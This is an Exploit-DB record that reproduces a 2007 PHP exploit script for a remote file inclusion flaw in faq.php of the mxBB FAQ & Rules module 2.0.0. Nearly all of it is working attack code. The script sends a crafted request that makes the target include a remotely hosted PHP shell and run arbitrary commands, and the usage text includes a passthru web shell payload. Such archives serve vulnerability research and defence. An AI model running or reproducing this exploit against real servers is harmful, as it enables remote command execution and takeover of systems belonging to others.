Exploit-DB #3833
Description: mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-02
Author: bd0rk

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
print '

mxBB Module MX Faq & Rules  <= 2.0.0 (faq.php) Remote File Include Exploit

[Vendor: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=371



Bug found and Exploit by bd0rk from SOH-Crew


Website1: www.hackschool.dl.am
Website2: www.soh-crew.it.tt

Contact: bd0rk@hackermail.com


Coded by bd0rk
';

if ($argc<4) {
print ('
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Usage: php '.$argv[0].' host shell cmd OPTIONS
host:      script server (ip/hostname)
shell:     path to shell (<?passthru($_GET[cmd]);?>)
cmd:       a shell command (ls -la)
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost http://www.shellsite.com/shell.txt ls -la -P1.1.1.1:80
shell.txt: <?php ob_clean();echo"bd0rk from Germany search exploits just for fun";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$shell=$argv[2];
$cmd="";

$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p='http://'.$host.':'.$port;}

$packet ="GET ".$p."faq.php?module_root_path=".$shell."?cmd=".$cmd."%00 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"hauru"))
{
$temp=explode("hauru",$html);
die($temp[1]);
}
echo "Error";
?>

# milw0rm.com [2007-05-02]